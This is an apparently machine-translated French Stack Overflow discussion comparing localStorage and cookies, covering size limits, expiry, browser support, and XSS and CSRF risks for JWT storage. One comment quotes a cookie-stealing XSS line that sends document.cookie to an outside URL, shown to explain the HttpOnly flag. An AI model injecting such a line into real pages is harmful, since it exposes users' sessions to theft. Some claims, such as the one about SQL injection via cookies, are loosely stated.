Stockage local vs cookies


1027

Je souhaite réduire les temps de chargement sur mes sites Web en déplaçant tous les cookies dans le stockage local car ils semblent avoir les mêmes fonctionnalités. Y a-t-il des avantages / inconvénients (en particulier en termes de performances) à utiliser le stockage local pour remplacer la fonctionnalité des cookies, à l'exception des problèmes de compatibilité évidents?


107
Inconvénient possible: les valeurs localStorge sur les pages sécurisées (SSL) sont isolées. Donc, si votre site comporte à la fois des pages http et https, vous ne pourrez pas accéder aux valeurs définies sur une page http lors de la visite d'une page https. Je viens d'essayer localStorage pour un mini chariot ajax dans un magasin Magento. Epic fail ...

6
étonnamment bien pris en charge (par rapport à ce que j'attendais) caniuse.com/#search=localstorage
Simon_Weaver

6
Certains utilisateurs ont également généralement désactivé les cookies dans leur navigateur. Le stockage local pourrait mieux fonctionner pour ces utilisateurs.
evolross

9
" Possibilité de inconvénient: les valeurs [localStorage] sur les pages sécurisées (SSL) sont isolées " C'est en fait le grand avantage.
curiousguy

13
C'est pourquoi vous devez simplement forcer SSL sur votre site Web ... Je ne vois aucune raison de proposer les deux versions d'une page si vous avez déjà la version SSL disponible.
xji

Réponses:


1277

Les cookies et le stockage local ont des objectifs différents. Les cookies sont principalement destinés à la lecture côté serveur , le stockage local ne peut être lu que par le côté client . La question est donc, dans votre application, qui a besoin de ces données - le client ou le serveur?

Si c'est votre client (votre JavaScript), changez certainement. Vous gaspillez de la bande passante en envoyant toutes les données dans chaque en-tête HTTP.

Si c'est votre serveur, le stockage local n'est pas si utile parce que vous devrez transmettre les données en quelque sorte (avec Ajax ou des champs de formulaire cachés ou quelque chose). Cela peut être correct si le serveur n'a besoin que d'un petit sous-ensemble du total des données pour chaque demande.

Vous souhaiterez cependant laisser votre cookie de session en tant que cookie.

Selon la différence technique, et aussi ma compréhension:

  1. En plus d'être une ancienne façon de sauvegarder les données, les cookies vous donnent une limite de 4096 octets (4095, en fait) - c'est par cookie. Le stockage local peut atteindre 5 Mo par domaine - SO Question le mentionne également.

  2. localStorageest une implémentation de l' StorageInterface. Il stocke les données sans date d'expiration et est effacé uniquement via JavaScript ou en effaçant le cache du navigateur / les données stockées localement, contrairement à l'expiration des cookies.


30
HTML5 a un stockage à portée de session qui peut également être utilisé pour remplacer les cookies de session.
Pat Niemeyer

5
@PatNiemeyer, vous pouvez supposer sessionStoragecomme un cookie qui a expiré jusqu'à ce que le navigateur soit fermé (pas l'onglet). @darkporter, merci pour la réponse. Cependant, j'aimerais entendre la différence technique entre les cookies et le stockage local. en attente de votre montage.
Om Shankar

28
@OmShankar Je ne sais pas si vous avez encore ce doute, mais voici la différence: localStorage reste sur le client, tandis qu'il cookiesest envoyé avec l'en-tête HTTP. C'est la plus grande (mais pas la seule) différence entre eux.
Andre Calil

16
Si votre application cliente parle à l'API REST, l'utilisation de cookie pour stocker et transmettre l'ID de session n'est pas idiomatique dans REST. Donc, pour moi, les cookies ressemblent à une ancienne technologie qui devrait probablement être remplacée par un stockage local (+ JavaScript si vous devez transmettre certaines données, comme l'ID de session, au serveur).
Tvaroh

8
Le stockage local n'est pas nécessairement un choix plus sûr que les cookies, car il est vulnérable aux attaques XSS. Personnellement, j'opterais pour un cookie HTTPS chiffré (peut-être en utilisant JWT ou JWE), avec un schéma d'expiration soigneusement planifié. c'est-à-dire implémenter à la fois une «politique» d'expiration au niveau des cookies et un processus de «renouvellement» des cookies côté serveur, afin de réduire les risques d'utilisation d'un cookie par des tiers malveillants. J'ai écrit une réponse ci-dessous en citant des parties d'un article de Stormpath sur ce sujet.
XtraSimplicity

232

Dans le contexte des JWT , Stormpath a écrit un article assez utile décrivant les moyens possibles de les stocker et les (dés) avantages liés à chaque méthode.

Il a également un bref aperçu des attaques XSS et CSRF, et comment vous pouvez les combattre.

J'ai joint quelques courts extraits de l'article ci-dessous, au cas où leur article serait mis hors ligne / leur site tomberait en panne.

Stockage local

Problèmes:

Le stockage Web (localStorage / sessionStorage) est accessible via JavaScript sur le même domaine. Cela signifie que tout JavaScript exécuté sur votre site aura accès au stockage Web et, de ce fait, peut être vulnérable aux attaques de script intersite (XSS). XSS en bref est un type de vulnérabilité où un attaquant peut injecter du JavaScript qui s'exécutera sur votre page. Les attaques XSS de base tentent d'injecter JavaScript via des entrées de formulaire, où l'attaquant met en alerte («Vous êtes piraté»); dans un formulaire pour voir s'il est exécuté par le navigateur et peut être consulté par d'autres utilisateurs.

La prévention:

Pour empêcher XSS, la réponse courante consiste à échapper et à coder toutes les données non fiables. Mais c'est loin d'être l'histoire complète. En 2015, les applications Web modernes utilisent JavaScript hébergé sur des CDN ou une infrastructure extérieure. Les applications Web modernes incluent des bibliothèques JavaScript tierces pour les tests A / B, l'entonnoir / l'analyse du marché et les annonces. Nous utilisons des gestionnaires de packages comme Bower pour importer le code d'autres personnes dans nos applications.

Que faire si un seul des scripts que vous utilisez est compromis? Un code JavaScript malveillant peut être intégré à la page et le stockage Web est compromis. Ces types d'attaques XSS peuvent obtenir le stockage Web de tout le monde qui visite votre site, à leur insu. C'est probablement pourquoi un tas d'organisations conseillent de ne pas stocker quoi que ce soit de valeur ou de faire confiance à aucune information dans le stockage Web. Cela inclut les identifiants de session et les jetons.

En tant que mécanisme de stockage, Web Storage n'applique aucune norme sécurisée lors du transfert. Quiconque lit Web Storage et l'utilise doit faire preuve de diligence raisonnable pour s'assurer qu'il envoie toujours le JWT via HTTPS et jamais HTTP.

Biscuits

Problèmes:

Les cookies, lorsqu'ils sont utilisés avec l'indicateur de cookie HttpOnly, ne sont pas accessibles via JavaScript et sont immunisés contre XSS. Vous pouvez également définir l'indicateur de cookie sécurisé pour garantir que le cookie est uniquement envoyé via HTTPS. C'est l'une des principales raisons pour lesquelles les cookies ont été exploités dans le passé pour stocker des jetons ou des données de session. Les développeurs modernes hésitent à utiliser des cookies car ils exigeaient traditionnellement que l'état soit stocké sur le serveur, ce qui enfreint les meilleures pratiques RESTful. Les cookies en tant que mécanisme de stockage n'exigent pas que l'état soit stocké sur le serveur si vous stockez un JWT dans le cookie. En effet, le JWT encapsule tout ce dont le serveur a besoin pour répondre à la demande.

Cependant, les cookies sont vulnérables à un autre type d'attaque: la contrefaçon de demande intersite (CSRF). Une attaque CSRF est un type d'attaque qui se produit lorsqu'un site Web, un e-mail ou un blog malveillant oblige le navigateur Web d'un utilisateur à effectuer une action indésirable sur un site de confiance sur lequel l'utilisateur est actuellement authentifié. Il s'agit d'un exploit de la façon dont le navigateur gère les cookies. Un cookie ne peut être envoyé qu'aux domaines dans lesquels il est autorisé. Par défaut, il s'agit du domaine qui a initialement défini le cookie. Le cookie sera envoyé pour une demande, que vous soyez sur galaxies.com ou hahagonnahackyou.com.

La prévention:

Les navigateurs modernes prennent en charge le SameSitedrapeau , en plus de HttpOnlyet Secure. Le but de cet indicateur est d'empêcher la transmission du cookie dans les requêtes intersites, empêchant de nombreux types d'attaques CSRF.

Pour les navigateurs qui ne prennent pas en charge SameSite, CSRF peut être empêché en utilisant des modèles de jetons synchronisés. Cela semble compliqué, mais tous les cadres Web modernes prennent en charge cela.

Par exemple, AngularJS a une solution pour valider que le cookie n'est accessible que par votre domaine. Directement à partir des documents AngularJS:

Lors de l'exécution de requêtes XHR, le service $ http lit un jeton à partir d'un cookie (par défaut, XSRF-TOKEN) et le définit comme un en-tête HTTP (X-XSRF-TOKEN). Étant donné que seul JavaScript qui s'exécute sur votre domaine peut lire le cookie, votre serveur peut être assuré que le XHR provient de JavaScript exécuté sur votre domaine. Vous pouvez rendre cette protection CSRF apatride en incluant une xsrfTokenrevendication JWT:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Tirer parti de la protection CSRF de votre infrastructure d'application Web rend les cookies solides pour le stockage d'un JWT. CSRF peut également être partiellement empêché en vérifiant l'en-tête HTTP Referer et Origin de votre API. Les attaques CSRF auront des en-têtes Referer et Origin sans rapport avec votre application.

L'article complet peut être trouvé ici: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

Ils ont également un article utile sur la meilleure façon de concevoir et de mettre en œuvre des JWT, en ce qui concerne la structure du jeton lui-même: https://stormpath.com/blog/jwt-the-right-way/


6
Excellent point. Surpris les implications de sécurité du stockage local (ou son absence pour XSS) n'ont pas été mentionnées auparavant sur une question aussi bien lue - à l'exception d'une réponse qui, à mon humble avis, suggère qu'elle est plus sécurisée!
Barry Pollard

25
Pour être honnête, je trouve tout le discours sur la sécurité un peu distrayant. Oui, il localStorageest accessible aux autres scripts de la page ... Mais il en est de même XMLHttpRequest... Et oui, le drapeau HttpOnly protège contre le vol du cookie mais le navigateur l'envoie toujours automatiquement au domaine correspondant, donc ... essentiellement lorsque vous avez des scripts malveillants en cours d'exécution sur votre page, vous êtes déjà piraté.
Stijn de Witt

3
@StijndeWitt Chaque couche de protection a sa propre puissance et sa propre faiblesse. Il est donc généralement préférable d'avoir plusieurs couches de protection. Juste pour vous donner un exemple: HttpOnly empêche également les attaques non-ajax comme window.location = 'http://google.com?q=' + escape(document.cookie);. Cette attaque contourne la vérification CORS des navigateurs.
Memet Olsen

En supposant que vous ayez moins que des fournisseurs entièrement fiables pour certaines choses comme les annonces ... pourquoi vos annonces sont-elles même diffusées par le même domaine que votre propre contenu de confiance? Les publicités doivent simplement être affichées à l'intérieur de la page Web, elles n'ont généralement pas besoin d'exécuter JS à l'intérieur de la page. Tant d'intégration pour ce contenu tiers est inutile.
curiousguy

Pourquoi un jeton csrf dans un cookie (qui doit être non-http uniquement par définition afin qu'il puisse être lu via JavaScript et envoyé via un en-tête) contribue-t-il à la sécurité? Si mon site est vulnérable à xss, le cookie peut être lu aussi facilement que le stockage local / session.
Juangamnik

97

Avec localStorage, les applications Web peuvent stocker des données localement dans le navigateur de l'utilisateur. Avant HTML5, les données d'application devaient être stockées dans des cookies, inclus dans chaque demande de serveur. De grandes quantités de données peuvent être stockées localement, sans affecter les performances du site Web. Bien qu'il localStoragesoit plus moderne, les deux techniques présentent des avantages et des inconvénients.

Biscuits

Avantages

  • Support hérité (il existe depuis toujours)
  • Données persistantes
  • Dates de péremption

Les inconvénients

  • Chaque domaine stocke tous ses cookies dans une seule chaîne, ce qui peut rendre l'analyse des données difficile
  • Les données ne sont pas cryptées, ce qui devient un problème car ... ... bien que de petite taille, les cookies sont envoyés avec chaque requête HTTP Taille limitée (4 Ko)
  • L'injection SQL peut être effectuée à partir d'un cookie

Stockage local

Avantages

  • Prise en charge par la plupart des navigateurs modernes
  • Données persistantes stockées directement dans le navigateur
  • Des règles de même origine s'appliquent aux données de stockage local
  • N'est pas envoyé avec chaque requête HTTP
  • ~ 5 Mo de stockage par domaine (soit 5120 Ko)

Les inconvénients

  • Non pris en charge par quoi que ce soit auparavant: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0
  • Si le serveur a besoin d'informations client stockées, vous devez les envoyer à dessein.

localStoragel'utilisation est presque identique à celle de la session. Ils ont des méthodes à peu près exactes, donc passer de la session à localStorageest vraiment un jeu d'enfant. Cependant, si les données stockées sont vraiment cruciales pour votre application, vous utiliserez probablement des cookies comme sauvegarde au cas où ils localStoragene seraient pas disponibles. Si vous souhaitez vérifier la prise en charge du navigateur localStorage, il vous suffit d'exécuter ce script simple:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

«Les valeurs de localStorage sur les pages sécurisées (SSL) sont isolées», comme quelqu'un l'a remarqué, gardez à l'esprit que localStorage ne sera pas disponible si vous passez du protocole sécurisé «http» au protocole «https», où le cookie sera toujours accessible. Il est important de savoir si vous travaillez avec des protocoles sécurisés.


1
La vérification que vous faites n'est pas très fiable. Il existe des navigateurs et des modes (privés) qui ont l'objet de stockage, mais ne parviennent pas à définir des valeurs de manière précise sur celui-ci. La seule façon de vérifier le support réel est d'essayer d'attraper un jeu d'enlever.
JavaScript

Point pris, j'ai mis à jour ma réponse en ce qui concerne la réponse de Joe à: stackoverflow.com/questions/16427636/…
DevWL

10
comme «l'injection SQL peut être effectuée» est répertoriée comme une contravention aux cookies, vous dites qu'elle ne peut pas être effectuée à partir de localStorage?
Martin Schneider

Un autre pro pour les cookies. Les cookies peuvent être marqués comme HTTPOnly. Cela signifie qu'ils ne sont pas accessibles à partir de JavaScript, ce qui signifie qu'aucune attaque XSS malveillante ne peut récupérer le contenu des cookies. Pour cette raison, je ne dirais pas nécessairement que le stockage local est plus sécurisé que les cookies.
wp-overwatch.com

@ Mr.Me Bien que les attaques XSS ne puissent pas lire un cookie HTTPOnly, l'attaquant peut toujours faire toute requête HTTP que l'utilisateur peut faire (par définition) limitée uniquement par la session du navigateur. En supposant que le cookie de session est un identifiant opaque, comme presque tous les cookies de session, la lecture de la valeur du cookie n'est utile que pour effectuer une requête HTTP y compris: vous n'apprenez rien avec seulement la valeur du cookie. (Remarque: les cookies de session peuvent parfois être liés à une adresse IP source particulière, à un en-tête d'agent utilisateur ou à d'autres caractéristiques du navigateur; les attaques XSS exécutent des requêtes HTTP à partir du navigateur, elles correspondent donc.)
curiousguy

7

Eh bien, la vitesse de stockage local dépend grandement du navigateur que le client utilise, ainsi que du système d'exploitation. Chrome ou Safari sur un mac pourrait être beaucoup plus rapide que Firefox sur un PC, en particulier avec les nouvelles API. Comme toujours, le test est votre ami (je n'ai pas trouvé de référence).

Je ne vois vraiment pas de différence énorme entre les cookies et le stockage local. De plus, vous devriez être plus préoccupé par les problèmes de compatibilité: tous les navigateurs n'ont même pas commencé à prendre en charge les nouvelles API HTML5, donc les cookies seraient votre meilleur pari pour la vitesse et la compatibilité.


2
C'est juste un projet interne, donc des choses comme la compatibilité entre navigateurs ne sont pas vraiment nécessaires. Parce que les cookies sont envoyés avec chaque HTTPRequest (mon application a ~ 77 demandes), ce qui signifie ~ 500 Ko de surcharge supplémentaire. Je sais que la solution évidente est un CDN, mais je veux essayer quelque chose qui ne dépend pas du serveur. Je n'ai pas pu trouver de repères moi-même et c'est pourquoi j'espérais que quelqu'un ici pourrait le savoir.
Gio Borje

14
Pourquoi Chrome ou Safari serait-il plus rapide sur un Mac? C'est à peu près le même code de navigateur qui fonctionne, que vous soyez sur Mac, Linux ou Windows.
Mark K Cowan

7

Il convient également de mentionner qu'il localStoragene peut pas être utilisé lorsque les utilisateurs naviguent en mode "privé" dans certaines versions de Safari mobile.

Cité de MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):

Remarque: À partir d'iOS 5.1, Safari Mobile stocke les données localStorage dans le dossier de cache, qui est soumis à un nettoyage occasionnel, à la demande du système d'exploitation, généralement si l'espace est court. Le mode de navigation privée de Safari Mobile empêche également complètement l'écriture sur localStorage.


6

Le stockage local peut stocker jusqu'à 5 Mo de données hors ligne, tandis que la session peut également stocker jusqu'à 5 Mo de données. Mais les cookies ne peuvent stocker que des données de 4 Ko au format texte.

Données de stockage LOCAL et Session au format JSON, donc faciles à analyser. Mais les données des cookies sont au format chaîne.


6

Cookies :

  1. Introduit avant HTML5.
  2. A une date d'expiration.
  3. Cleard par JS ou par Clear Browsing Data du navigateur ou après la date d'expiration.
  4. Sera envoyé au serveur pour chaque demande.
  5. La capacité est de 4 Ko.
  6. Seules les chaînes peuvent stocker des cookies.
  7. Il existe deux types de cookies: persistants et session.

Stockage local:

  1. Introduit avec HTML5.
  2. N'a pas de date d'expiration.
  3. Cleard par JS ou par Clear Browsing Data du navigateur.
  4. Vous pouvez sélectionner le moment où les données doivent être envoyées au serveur.
  5. La capacité est de 5 Mo.
  6. Les données sont stockées indéfiniment et doivent être une chaîne.
  7. N'ont qu'un seul type.

6. localStorage ne peut stocker que des chaînes, les primitives et les objets doivent être convertis en chaînes avant le stockage, 7. sessionStorage est également disponible et est identique à localStorage sauf qu'il ne persiste pas
Robbie Milejczak

Vous ne pouvez stocker que des piqûres dans le stockage
TheMisir
En utilisant notre site, vous reconnaissez avoir lu et compris notre politique liée aux cookies et notre politique de confidentialité.
Licensed under cc by-sa 3.0 with attribution required.